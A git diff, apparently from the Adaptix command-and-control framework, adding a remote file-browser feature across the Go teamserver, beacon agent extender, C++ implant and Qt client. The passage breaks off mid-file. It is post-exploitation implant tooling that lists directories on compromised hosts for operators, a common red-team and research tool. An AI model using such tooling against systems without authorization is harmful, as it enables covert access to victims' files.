diff --git a/AdaptixServer/core/connector/connector.go b/AdaptixServer/core/connector/connector.go index b219bdf4..6ce19c60 100644 --- a/AdaptixServer/core/connector/connector.go +++ b/AdaptixServer/core/connector/connector.go @@ -39,6 +39,7 @@ type Teamserver interface { TsDownloadChangeState(fileId string, username string, command string) error TsAgentBrowserDisks(agentId string, username string) error + TsAgentBrowserFiles(agentId string, path string, username string) error } type TsConnector struct { @@ -95,6 +96,7 @@ func NewTsConnector(ts Teamserver, p profile.TsProfile) (*TsConnector, error) { connector.Engine.POST(p.Endpoint+"/browser/download", token.ValidateAccessToken(), default404Middleware(), connector.TcBrowserDownload) connector.Engine.POST(p.Endpoint+"/browser/disks", token.ValidateAccessToken(), default404Middleware(), connector.TcBrowserDisks) + connector.Engine.POST(p.Endpoint+"/browser/files", token.ValidateAccessToken(), default404Middleware(), connector.TcBrowserFiles) connector.Engine.NoRoute(default404Middleware(), func(c *gin.Context) { _ = c.Error(errors.New("NoRoute")) }) diff --git a/AdaptixServer/core/connector/tc_browsers.go b/AdaptixServer/core/connector/tc_browsers.go index 4624651a..1f8051ee 100644 --- a/AdaptixServer/core/connector/tc_browsers.go +++ b/AdaptixServer/core/connector/tc_browsers.go @@ -118,3 +118,44 @@ func (tc *TsConnector) TcBrowserDisks(ctx *gin.Context) { } ctx.JSON(http.StatusOK, answer) } + +type FilesAction struct { + AgentId string `json:"agent_id"` + Path string `json:"path"` +} + +func (tc *TsConnector) TcBrowserFiles(ctx *gin.Context) { + var ( + filesAction FilesAction + username string + ok bool + err error + answer gin.H + ) + + err = ctx.ShouldBindJSON(&filesAction) + if err != nil { + _ = ctx.Error(errors.New("invalid action")) + return + } + + value, exists := ctx.Get("username") + if !exists { + ctx.JSON(http.StatusOK, gin.H{"message": "Server error: username not found in context", "ok": false}) + return + } + + username, ok = value.(string) + if !ok { + ctx.JSON(http.StatusOK, gin.H{"message": "Server error: invalid username type in context", "ok": false}) + return + } + + err = tc.teamserver.TsAgentBrowserFiles(filesAction.AgentId, filesAction.Path, username) + if err != nil { + answer = gin.H{"message": err.Error(), "ok": false} + } else { + answer = gin.H{"message": "Wait...", "ok": true} + } + ctx.JSON(http.StatusOK, answer) +} diff --git a/AdaptixServer/core/extender/ex_agent.go b/AdaptixServer/core/extender/ex_agent.go index 6e497a8c..68294d81 100644 --- a/AdaptixServer/core/extender/ex_agent.go +++ b/AdaptixServer/core/extender/ex_agent.go @@ -73,3 +73,15 @@ func (ex *AdaptixExtender) ExAgentBrowserDisks(agentName string, agentObject []b return nil, errors.New("module not found") } } + +func (ex *AdaptixExtender) ExAgentBrowserFiles(agentName string, path string, agentObject []byte) ([]byte, error) { + var module *ModuleExtender + + value, ok := ex.agentModules.Get(agentName) + if ok { + module = value.(*ModuleExtender) + return module.AgentBrowserFiles(path, agentObject) + } else { + return nil, errors.New("module not found") + } +} diff --git a/AdaptixServer/core/extender/extender.go b/AdaptixServer/core/extender/extender.go index 8b84ebc5..74527e65 100644 --- a/AdaptixServer/core/extender/extender.go +++ b/AdaptixServer/core/extender/extender.go @@ -145,6 +145,10 @@ func (ex *AdaptixExtender) ValidPlugin(info ModuleInfo, object plugin.Symbol) er if !ok { return errors.New("method AgentBrowserDisks not found") } + _, ok = reflect.TypeOf(object).MethodByName("AgentBrowserFiles") + if !ok { + return errors.New("method AgentBrowserFiles not found") + } return nil } diff --git a/AdaptixServer/core/extender/utils.go b/AdaptixServer/core/extender/utils.go index 02d9992b..ba392a05 100644 --- a/AdaptixServer/core/extender/utils.go +++ b/AdaptixServer/core/extender/utils.go @@ -52,6 +52,7 @@ type AgentFunctions interface { AgentDownloadChangeState(agentObject []byte, newState int, fileId string) ([]byte, error) AgentBrowserDisks(agentObject []byte) ([]byte, error) + AgentBrowserFiles(path string, agentObject []byte) ([]byte, error) } type ModuleExtender struct { diff --git a/AdaptixServer/core/server/ts_browser.go b/AdaptixServer/core/server/ts_browser.go index 9bd1f822..60d3016f 100644 --- a/AdaptixServer/core/server/ts_browser.go +++ b/AdaptixServer/core/server/ts_browser.go @@ -5,6 +5,7 @@ import ( "bytes" "encoding/json" "fmt" + "strings" "time" ) @@ -51,6 +52,47 @@ func (ts *Teamserver) TsAgentBrowserDisks(agentId string, username string) error return nil } +func (ts *Teamserver) TsAgentBrowserFiles(agentId string, path string, username string) error { + var ( + err error + agentObject bytes.Buffer + agent *Agent + taskData TaskData + data []byte + ) + + value, ok := ts.agents.Get(agentId) + if ok { + + agent, _ = value.(*Agent) + _ = json.NewEncoder(&agentObject).Encode(agent.Data) + + data, err = ts.Extender.ExAgentBrowserFiles(agent.Data.Name, path, agentObject.Bytes()) + if err != nil { + return err + } + + err = json.Unmarshal(data, &taskData) + if err != nil { + return err + } + + if taskData.TaskId == "" { + taskData.TaskId, _ = krypt.GenerateUID(8) + } + taskData.AgentId = agentId + taskData.User = username + taskData.StartDate = time.Now().Unix() + + agent.TasksQueue.Put(taskData) + + } else { + return fmt.Errorf("agent '%v' does not exist", agentId) + } + + return nil +} + /// SYNC func (ts *Teamserver) TsClientBrowserDisks(jsonTask string, jsonDrives string) { @@ -95,3 +137,50 @@ func (ts *Teamserver) TsClientBrowserDisks(jsonTask string, jsonDrives string) { packet := CreateSpBrowserDisks(taskData, jsonDrives) ts.TsSyncClient(task.User, packet) } + +func (ts *Teamserver) TsClientBrowserFiles(jsonTask string, path string, jsonFiles string) { + var ( + agent *Agent + task TaskData + taskData TaskData + value any + ok bool + err error + ) + + err = json.Unmarshal([]byte(jsonTask), &taskData) + if err != nil { + return + } + + value, ok = ts.agents.Get(taskData.AgentId) + if ok { + agent = value.(*Agent) + } else { + return + } + + value, ok = agent.Tasks.Get(taskData.TaskId) + if ok { + task = value.(TaskData) + } else { + return + } + + if task.Type != TYPE_BROWSER { + return + } + + agent.Tasks.Delete(taskData.TaskId) + + if taskData.MessageType != CONSOLE_OUT_ERROR && taskData.MessageType != CONSOLE_OUT_LOCAL_ERROR { + taskData.Message = "Status: OK" + } + + for len(path) > 0 && (strings.HasSuffix(path, "\\") || strings.HasSuffix(path, "/")) { + path = path[:len(path)-1] + } + + packet := CreateSpBrowserFiles(taskData, path, jsonFiles) + ts.TsSyncClient(task.User, packet) +} diff --git a/AdaptixServer/core/server/ts_syncpacket.go b/AdaptixServer/core/server/ts_syncpacket.go index 78034307..539a2d8a 100644 --- a/AdaptixServer/core/server/ts_syncpacket.go +++ b/AdaptixServer/core/server/ts_syncpacket.go @@ -34,6 +34,7 @@ const ( TYPE_DOWNLOAD_DELETE = 0x53 TYPE_BROWSER_DISKS = 0x61 + TYPE_BROWSER_FILES = 0x62 ) /// SYNC @@ -291,3 +292,17 @@ func CreateSpBrowserDisks(taskData TaskData, data string) SyncPacketBrowserDisks Data: data, } } + +func CreateSpBrowserFiles(taskData TaskData, path string, data string) SyncPacketBrowserFiles { + return SyncPacketBrowserFiles{ + store: STORE_LOG, + SpType: TYPE_BROWSER_FILES, + + AgentId: taskData.AgentId, + Time: time.Now().UTC().Unix(), + MessageType: taskData.MessageType, + Message: taskData.Message, + Path: path, + Data: data, + } +} diff --git a/AdaptixServer/core/server/utils.go b/AdaptixServer/core/server/utils.go index a631e158..ce05caad 100644 --- a/AdaptixServer/core/server/utils.go +++ b/AdaptixServer/core/server/utils.go @@ -354,3 +354,15 @@ type SyncPacketBrowserDisks struct { Message string `json:"b_message"` Data string `json:"b_data"` } + +type SyncPacketBrowserFiles struct { + store string + SpType int `json:"type"` + + AgentId string `json:"b_agent_id"` + Time int64 `json:"b_time"` + MessageType int `json:"b_msg_type"` + Message string `json:"b_message"` + Path string `json:"b_path"` + Data string `json:"b_data"` +} diff --git a/AdaptixServer/extenders/agent_beacon/pl_agent.go b/AdaptixServer/extenders/agent_beacon/pl_agent.go index 8eb62d42..3c8e9eb9 100644 --- a/AdaptixServer/extenders/agent_beacon/pl_agent.go +++ b/AdaptixServer/extenders/agent_beacon/pl_agent.go @@ -500,58 +500,65 @@ func ProcessTasksResult(ts Teamserver, agentData AgentData, taskData TaskData, p case COMMAND_LS: result := packer.ParseInt8() + var items []ListingFileData + var rootPath string + if result == 0 { errorCode := packer.ParseInt32() task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, win32ErrorCodes[errorCode]) task.MessageType = MESSAGE_ERROR } else { - rootPath := ConvertCpToUTF8(string(packer.ParseString()), agentData.ACP) + rootPath = ConvertCpToUTF8(string(packer.ParseString()), agentData.ACP) rootPath, _ = strings.CutSuffix(rootPath, "\\*") filesCount := int(packer.ParseInt32()) if filesCount == 0 { task.Message = fmt.Sprintf("The '%s' directory is EMPTY", rootPath) - break - } + } else { - var folders []ListingFileData - var files []ListingFileData + var folders []ListingFileData + var files []ListingFileData - for i := 0; i < filesCount; i++ { - isDir := packer.ParseInt8() - fileData := ListingFileData{ - IsDir: false, - Size: packer.ParseInt64(), - Date: uint64(packer.ParseInt32()), - Filename: ConvertCpToUTF8(string(packer.ParseString()), agentData.ACP), + for i := 0; i < filesCount; i++ { + isDir := packer.ParseInt8() + fileData := ListingFileData{ + IsDir: false, + Size: packer.ParseInt64(), + Date: uint64(packer.ParseInt32()), + Filename: ConvertCpToUTF8(string(packer.ParseString()), agentData.ACP), + } + if isDir > 0 { + fileData.IsDir = true + folders = append(folders, fileData) + } else { + files = append(files, fileData) + } } - if isDir > 0 { - fileData.IsDir = true - folders = append(folders, fileData) - } else { - files = append(files, fileData) - } - } - items := append(folders, files...) - OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name") - OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----") - for _, item := range items { - t := time.Unix(int64(item.Date), 0).UTC() - lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute()) + items = append(folders, files...) - if item.IsDir { - OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename) - } else { - OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename) + OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name") + OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----") + + for _, item := range items { + t := time.Unix(int64(item.Date), 0).UTC() + lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute()) + + if item.IsDir { + OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename) + } else { + OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename) + } } + task.Message = fmt.Sprintf("List of files in the '%s' directory", rootPath) + task.ClearText = OutputText } - task.Message = fmt.Sprintf("List of files in the '%s' directory", rootPath) - task.ClearText = OutputText } + SyncBrowserFiles(ts, task, rootPath, items) + break case COMMAND_PROFILE: @@ -707,7 +714,13 @@ func BrowserDownloadChangeState(fid string, newState int) ([]byte, error) { return PackArray(array) } -func BrowserDisks() ([]byte, error) { +func BrowserDisks(agentData AgentData) ([]byte, error) { array := []interface{}{COMMAND_DISKS} return PackArray(array) } + +func BrowserFiles(path string, agentData AgentData) ([]byte, error) { + dir := ConvertUTF8toCp(path, agentData.ACP) + array := []interface{}{COMMAND_LS, dir} + return PackArray(array) +} diff --git a/AdaptixServer/extenders/agent_beacon/pl_main.go b/AdaptixServer/extenders/agent_beacon/pl_main.go index 8cccc78b..b1d8c818 100644 --- a/AdaptixServer/extenders/agent_beacon/pl_main.go +++ b/AdaptixServer/extenders/agent_beacon/pl_main.go @@ -47,6 +47,7 @@ type Teamserver interface { TsDownloadClose(fileId string, reason int) error TsClientBrowserDisks(jsonTask string, jsonDrives string) + TsClientBrowserFiles(jsonTask string, path string, jsonFiles string) } type ModuleExtender struct { @@ -295,6 +296,8 @@ func (m *ModuleExtender) AgentProcessData(agentObject []byte, packedData []byte) return nil, nil } +/// BROWSERS + func (m *ModuleExtender) AgentDownloadChangeState(agentObject []byte, newState int, fileId string) ([]byte, error) { var ( packData []byte @@ -340,7 +343,39 @@ func (m *ModuleExtender) AgentBrowserDisks(agentObject []byte) ([]byte, error) { return nil, err } - packData, err = BrowserDisks() + packData, err = BrowserDisks(agentData) + if err != nil { + return nil, err + } + + taskData = TaskData{ + Type: BROWSER, + Data: packData, + Sync: false, + } + + err = json.NewEncoder(&buffer).Encode(taskData) + if err != nil { + return nil, err + } + + return buffer.Bytes(), nil +} + +func (m *ModuleExtender) AgentBrowserFiles(path string, agentObject []byte) ([]byte, error) { + var ( + packData []byte + agentData AgentData + taskData TaskData + buffer bytes.Buffer + err error + ) + err = json.Unmarshal(agentObject, &agentData) + if err != nil { + return nil, err + } + + packData, err = BrowserFiles(path, agentData) if err != nil { return nil, err } @@ -383,3 +418,26 @@ func SyncBrowserDisks(ts Teamserver, task TaskData, drivesSlice []ListingDrivesD ts.TsClientBrowserDisks(jsonTask, jsonDrives) } + +func SyncBrowserFiles(ts Teamserver, task TaskData, path string, filesSlice []ListingFileData) { + var ( + jsonDrives string + jsonTask string + jsonData []byte + err error + ) + + jsonData, err = json.Marshal(filesSlice) + if err != nil { + return + } + jsonDrives = string(jsonData) + + jsonData, err = json.Marshal(task) + if err != nil { + return + } + jsonTask = string(jsonData) + + ts.TsClientBrowserFiles(jsonTask, path, jsonDrives) +} diff --git a/Agents/beacon/beacon/Commander.cpp b/Agents/beacon/beacon/Commander.cpp index d45c9226..c861615e 100755 --- a/Agents/beacon/beacon/Commander.cpp +++ b/Agents/beacon/beacon/Commander.cpp @@ -213,11 +213,20 @@ void Commander::CmdLs(ULONG commandId, Packer* inPacker, Packer* outPacker) outPacker->Pack32(commandId); CHAR fullpath[MAX_PATH]; - DWORD fullpathSize = ApiWin->GetFullPathNameA(path, MAX_PATH, fullpath, NULL); - if (fullpathSize+2 > MAX_PATH || fullpathSize == 0) { - outPacker->Pack8(FALSE); - outPacker->Pack32(TEB->LastErrorValue); - return; + DWORD fullpathSize = MAX_PATH; + + if (pathSize == 3 && path[1] == ':') { + fullpath[0] = path[0]; + fullpath[1] = path[1]; + fullpathSize = 2; + } + else { + fullpathSize = ApiWin->GetFullPathNameA(path, MAX_PATH, fullpath, NULL); + if (fullpathSize + 2 > MAX_PATH || fullpathSize == 0) { + outPacker->Pack8(FALSE); + outPacker->Pack32(TEB->LastErrorValue); + return; + } } fullpath[fullpathSize] = '\\'; diff --git a/Client/Headers/Agent/Agent.h b/Client/Headers/Agent/Agent.h index d5983c9a..9230ab4f 100644 --- a/Client/Headers/Agent/Agent.h +++ b/Client/Headers/Agent/Agent.h @@ -41,9 +41,9 @@ public: explicit Agent(QJsonObject jsonObjAgentData, Commander* commander, AdaptixWidget* w ); ~Agent(); - void Update(QJsonObject jsonObjAgentData); - + void Update(QJsonObject jsonObjAgentData); QString BrowserDisks(); + QString BrowserList(QString path); }; #endif //ADAPTIXCLIENT_AGENT_H diff --git a/Client/Headers/Client/Requestor.h b/Client/Headers/Client/Requestor.h index 54db6d43..f631819b 100644 --- a/Client/Headers/Client/Requestor.h +++ b/Client/Headers/Client/Requestor.h @@ -32,5 +32,6 @@ bool HttpReqBrowserDownload( QString action, QString fileId, AuthProfile profile bool HttpReqBrowserDisks( QString agentId, AuthProfile profile, QString* message, bool* ok ); +bool HttpReqBrowserList( QString agentId, QString path, AuthProfile profile, QString* message, bool* ok ); #endif //ADAPTIXCLIENT_REQUESTOR_H diff --git a/Client/Headers/UI/Widgets/BrowserFilesWidget.h b/Client/Headers/UI/Widgets/BrowserFilesWidget.h index 3eff04bc..fdc1da71 100644 --- a/Client/Headers/UI/Widgets/BrowserFilesWidget.h +++ b/Client/Headers/UI/Widgets/BrowserFilesWidget.h @@ -3,14 +3,45 @@ #include #include +#include -typedef struct BrowserFileData +#define TYPE_FILE 0 +#define TYPE_DIR 1 +#define TYPE_DISK 2 + +class FileBrowserTreeItem; + +class BrowserFileData { - QString Path; - QString Type; +public: + bool Stored = false; + int Type; + QString Fullpath; + QString Name; + QString Size; QString Modified; + QString Status; QVector Files; -} BrowserFileData; + + FileBrowserTreeItem* TreeItem = nullptr; + + BrowserFileData() = default; + ~BrowserFileData() = default; + + void SetType(int type); + void CreateBrowserFileData(QString path, int type ); +}; + +class FileBrowserTreeItem : public QTreeWidgetItem +{ +public: + BrowserFileData Data; + + explicit FileBrowserTreeItem(BrowserFileData* d) { + Data = *d; + setText(0, Data.Name); + } +}; class BrowserFilesWidget : public QWidget { @@ -21,28 +52,42 @@ class BrowserFilesWidget : public QWidget QTableWidget* tableWidget = nullptr; QLabel* statusLabel = nullptr; QSplitter* splitter = nullptr; - QLineEdit* pathInput = nullptr; - QPushButton* buttonHomeDir = nullptr; + QLineEdit* inputPath = nullptr; + QPushButton* buttonParent = nullptr; QPushButton* buttonReload = nullptr; QPushButton* buttonUpload = nullptr; QPushButton* buttonDisks = nullptr; - QPushButton* buttonCd = nullptr; + QPushButton* buttonList = nullptr; QFrame* line_1 = nullptr; QFrame* line_2 = nullptr; - Agent* agent; + Agent* agent; + QString curentPath; + QMap browserStore; - void TreeAddData(BrowserFileData data); void createUI(); + void setStoredFileData(QString path, BrowserFileData currenFileData); + void updateFileData(BrowserFileData* currenFileData, QString path, QJsonArray jsonArray); + void tableShowItems(QVector files ); + void cdBroser(QString path); + BrowserFileData createFileData(QString path); + BrowserFileData* getFileData(QString path); public: BrowserFilesWidget(Agent* a); ~BrowserFilesWidget(); void SetDisks(qint64 time, int msgType, QString message, QString data); + void AddFiles(qint64 time, int msgType, QString message, QString path, QString data); public slots: void onDisks(); + void onList(); + void onParent(); + void onReload(); + + void handleTableDoubleClicked(const QModelIndex &index); + void handleTreeDoubleClicked(QTreeWidgetItem* item, int column); }; #endif //ADAPTIXCLIENT_BROWSERFILESWIDGET_H \ No newline at end of file diff --git a/Client/Headers/Utils/Convert.h b/Client/Headers/Utils/Convert.h index 51aac0e4..398aa5f6 100644 --- a/Client/Headers/Utils/Convert.h +++ b/Client/Headers/Utils/Convert.h @@ -12,6 +12,8 @@ bool IsValidURI(const QString &uri); QString UnixTimestampGlobalToStringLocal(qint64 timestamp); +QString UnixTimestampGlobalToStringLocalFull(qint64 timestamp); + QString TextColorHtml(QString text, QString color); QString TextUnderlineColorHtml(QString text, QString color = ""); @@ -22,7 +24,7 @@ QString FormatSecToStr(int seconds); QString TrimmedEnds(QString str); -QString BytesToFormat(int bytes); +QString BytesToFormat(qint64 bytes); QIcon RecolorIcon(QIcon originalIcon, QString colorString); diff --git a/Client/Headers/Utils/FileSystem.h b/Client/Headers/Utils/FileSystem.h index 6b7e21f8..8d93f4e7 100644 --- a/Client/Headers/Utils/FileSystem.h +++ b/Client/Headers/Utils/FileSystem.h @@ -8,6 +8,10 @@ QString ReadFileString(const QString &filePath, bool* result); +QString GetBasenameWindows(const QString& path); + QString GetRootPathWindows(const QString& path); +QString GetParentPathWindows(const QString& path); + #endif //ADAPTIXCLIENT_FILESYSTEM_H diff --git a/Client/Headers/main.h b/Client/Headers/main.h index 1aa5643d..ba108989 100644 --- a/Client/Headers/main.h +++ b/Client/Headers/main.h @@ -76,7 +76,8 @@ #define TYPE_DOWNLOAD_UPDATE 0x52 #define TYPE_DOWNLOAD_DELETE 0x53 -#define TYPE_BROWSER_DISK 0x61 +#define TYPE_BROWSER_DISKS 0x61 +#define TYPE_BROWSER_FILES 0x62 ////////// diff --git a/Client/Source/Agent/Agent.cpp b/Client/Source/Agent/Agent.cpp index 30921e83..181c8db9 100644 --- a/Client/Source/Agent/Agent.cpp +++ b/Client/Source/Agent/Agent.cpp @@ -90,3 +90,13 @@ QString Agent::BrowserDisks() return message; } +QString Agent::BrowserList(QString path) +{ + QString message = QString(); + bool ok = false; + bool result = HttpReqBrowserList( data.Id, path, *(adaptixWidget->GetProfile()), &message, &ok); + if (!result) + return "JWT error"; + + return message; +} diff --git a/Client/Source/Client/ProcessSyncPacket.cpp b/Client/Source/Client/ProcessSyncPacket.cpp index 83b02ca1..225fde3b 100644 --- a/Client/Source/Client/ProcessSyncPacket.cpp +++ b/Client/Source/Client/ProcessSyncPacket.cpp @@ -97,7 +97,6 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - if( spType == TYPE_AGENT_NEW ) { if ( !jsonObj.contains("time") || !jsonObj["time"].isDouble() ) { return false; @@ -167,15 +166,13 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - if( spType == TYPE_AGENT_TICK ) { if (!jsonObj.contains("a_id") || !jsonObj["a_id"].isString()) { return false; } return true; } - - if(spType == TYPE_AGENT_CONSOLE_OUT) + if( spType == TYPE_AGENT_CONSOLE_OUT) { if (!jsonObj.contains("time") || !jsonObj["time"].isDouble()) { return false; @@ -194,7 +191,6 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - if( spType == TYPE_AGENT_UPDATE ) { if ( !jsonObj.contains("a_id") || !jsonObj["a_id"].isString() ) { return false; @@ -216,8 +212,7 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - - if(spType == TYPE_AGENT_TASK_CREATE ) { + if( spType == TYPE_AGENT_TASK_CREATE ) { if (!jsonObj.contains("time") || !jsonObj["time"].isDouble()) { return false; } @@ -241,8 +236,7 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - - if(spType == TYPE_AGENT_TASK_UPDATE ) { + if( spType == TYPE_AGENT_TASK_UPDATE ) { if (!jsonObj.contains("time") || !jsonObj["time"].isDouble()) { return false; } @@ -272,15 +266,14 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - - if(spType == TYPE_AGENT_REMOVE ) { + if( spType == TYPE_AGENT_REMOVE ) { if (!jsonObj.contains("a_id") || !jsonObj["a_id"].isString()) { return false; } return true; } - if(spType == TYPE_DOWNLOAD_CREATE ) { + if( spType == TYPE_DOWNLOAD_CREATE ) { if (!jsonObj.contains("d_agent_id") || !jsonObj["d_agent_id"].isString()) { return false; } @@ -304,7 +297,7 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } - if(spType == TYPE_DOWNLOAD_UPDATE ) { + if( spType == TYPE_DOWNLOAD_UPDATE ) { if (!jsonObj.contains("d_file_id") || !jsonObj["d_file_id"].isString()) { return false; } @@ -323,7 +316,7 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) return true; } - if( spType == TYPE_BROWSER_DISK ) { + if( spType == TYPE_BROWSER_DISKS ) { if (!jsonObj.contains("b_agent_id") || !jsonObj["b_agent_id"].isString()) { return false; } @@ -341,6 +334,30 @@ bool AdaptixWidget::isValidSyncPacket(QJsonObject jsonObj) } return true; } + if( spType == TYPE_BROWSER_FILES ) { + if (!jsonObj.contains("b_agent_id") || !jsonObj["b_agent_id"].isString()) { + return false; + } + if (!jsonObj.contains("b_time") || !jsonObj["b_time"].isDouble()) { + return false; + } + if (!jsonObj.contains("b_msg_type") || !jsonObj["b_msg_type"].isDouble()) { + return false; + } + if (!jsonObj.contains("b_message") || !jsonObj["b_message"].isString()) { + return false; + } + if (!jsonObj.contains("b_message") || !jsonObj["b_message"].isString()) { + return false; + } + if (!jsonObj.contains("b_path") || !jsonObj["b_path"].isString()) { + return false; + } + if (!jsonObj.contains("b_data") || !jsonObj["b_data"].isString()) { + return false; + } + return true; + } return false; } @@ -354,13 +371,13 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) } - if( spType == TYPE_SYNC_START) + if( spType == TYPE_SYNC_START ) { int count = jsonObj["count"].toDouble(); dialogSyncPacket = new DialogSyncPacket(count); return; } - if ( spType == TYPE_SYNC_FINISH) + if( spType == TYPE_SYNC_FINISH ) { if (dialogSyncPacket != nullptr ) { dialogSyncPacket->finish(); @@ -380,7 +397,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) LogsTab->AddLogs(spType, time, message); return; } - if ( spType == TYPE_CLIENT_DISCONNECT ) + if( spType == TYPE_CLIENT_DISCONNECT ) { QString username = jsonObj["username"].toString(); qint64 time = static_cast(jsonObj["time"].toDouble()); @@ -402,7 +419,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if ( spType == TYPE_LISTENER_START ) + if( spType == TYPE_LISTENER_START ) { ListenerData newListener = {0}; newListener.ListenerName = jsonObj["l_name"].toString(); @@ -422,7 +439,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) ListenersTab->AddListenerItem(newListener); return; } - if ( spType == TYPE_LISTENER_EDIT ) + if( spType == TYPE_LISTENER_EDIT ) { ListenerData newListener = {0}; newListener.ListenerName = jsonObj["l_name"].toString(); @@ -442,7 +459,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) ListenersTab->EditListenerItem(newListener); return; } - if ( spType == TYPE_LISTENER_STOP ) + if( spType == TYPE_LISTENER_STOP ) { QString listenerName = jsonObj["l_name"].toString(); qint64 time = static_cast(jsonObj["time"].toDouble()); @@ -454,6 +471,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } + if( spType == TYPE_AGENT_REG ) { QString agentName = jsonObj["agent"].toString(); @@ -472,7 +490,6 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) LinkListenerAgent[listenerName].push_back(agentName); return; } - if( spType == TYPE_AGENT_NEW ) { QString agentName = jsonObj["a_name"].toString(); @@ -506,7 +523,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if(spType == TYPE_AGENT_CONSOLE_OUT) + if( spType == TYPE_AGENT_CONSOLE_OUT ) { qint64 time = static_cast(jsonObj["time"].toDouble()); QString agentId = jsonObj["a_id"].toString(); @@ -519,7 +536,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if(spType == TYPE_AGENT_TASK_CREATE ) + if( spType == TYPE_AGENT_TASK_CREATE ) { qint64 time = static_cast(jsonObj["time"].toDouble()); QString agentId = jsonObj["a_id"].toString(); @@ -534,7 +551,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if(spType == TYPE_AGENT_TASK_UPDATE ) + if( spType == TYPE_AGENT_TASK_UPDATE ) { qint64 time = static_cast(jsonObj["time"].toDouble()); QString agentId = jsonObj["a_id"].toString(); @@ -558,7 +575,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) SessionsTablePage->RemoveAgentItem(agentId); } - if(spType == TYPE_DOWNLOAD_CREATE ) + if( spType == TYPE_DOWNLOAD_CREATE ) { DownloadData newDownload = {0}; newDownload.AgentId = jsonObj["d_agent_id"].toString(); @@ -575,7 +592,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if(spType == TYPE_DOWNLOAD_UPDATE ) + if( spType == TYPE_DOWNLOAD_UPDATE ) { QString fileId = jsonObj["d_file_id"].toString(); int recvSize = jsonObj["d_recv_size"].toDouble(); @@ -585,7 +602,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if(spType == TYPE_DOWNLOAD_DELETE ) + if( spType == TYPE_DOWNLOAD_DELETE ) { QString fileId = jsonObj["d_file_id"].toString(); @@ -594,7 +611,7 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } - if( spType == TYPE_BROWSER_DISK ) + if( spType == TYPE_BROWSER_DISKS ) { QString agentId = jsonObj["b_agent_id"].toString(); qint64 time = jsonObj["b_time"].toDouble(); @@ -607,4 +624,18 @@ void AdaptixWidget::processSyncPacket(QJsonObject jsonObj) return; } + if( spType == TYPE_BROWSER_FILES ) + { + QString agentId = jsonObj["b_agent_id"].toString(); + qint64 time = jsonObj["b_time"].toDouble(); + int msgType = jsonObj["b_msg_type"].toDouble(); + QString message = jsonObj["b_message"].toString(); + QString path = jsonObj["b_path"].toString(); + QString data = jsonObj["b_data"].toString(); + + if (Agents.contains(agentId)) + Agents[agentId]->FileBrowser->AddFiles(time, msgType, message, path, data); + + return; + } } diff --git a/Client/Source/Client/Requestor.cpp b/Client/Source/Client/Requestor.cpp index 8e837943..33648b0c 100644 --- a/Client/Source/Client/Requestor.cpp +++ b/Client/Source/Client/Requestor.cpp @@ -206,4 +206,21 @@ bool HttpReqBrowserDisks( QString agentId, AuthProfile profile, QString* message return true; } return false; -} \ No newline at end of file +} + +bool HttpReqBrowserList( QString agentId, QString path, AuthProfile profile, QString* message, bool* ok ) +{ + QJsonObject dataJson; + dataJson["agent_id"] = agentId; + dataJson["path"] = path; + QByteArray jsonData = QJsonDocument(dataJson).toJson(); + + QString sUrl = profile.GetURL() + "/browser/files"; + QJsonObject jsonObject = HttpReq(sUrl, jsonData, profile.GetAccessToken()); + if ( jsonObject.contains("message") && jsonObject.contains("ok") ) { + *message = jsonObject["message"].toString(); + *ok = jsonObject["ok"].toBool(); + return true; + } + return false; +} diff --git a/Client/Source/UI/Widgets/BrowserFilesWidget.cpp b/Client/Source/UI/Widgets/BrowserFilesWidget.cpp index bfef3ba2..2aff0df8 100644 --- a/Client/Source/UI/Widgets/BrowserFilesWidget.cpp +++ b/Client/Source/UI/Widgets/BrowserFilesWidget.cpp @@ -1,12 +1,55 @@ #include #include +#include + +void BrowserFileData::CreateBrowserFileData(QString path, int type ) +{ + Fullpath = path; + Type = type; + Name = GetBasenameWindows(path); + + TreeItem = new FileBrowserTreeItem(this); + + QFileIconProvider iconProvider; + if ( type == TYPE_FILE ) { + TreeItem->setIcon(0, iconProvider.icon(QFileIconProvider::File)); + 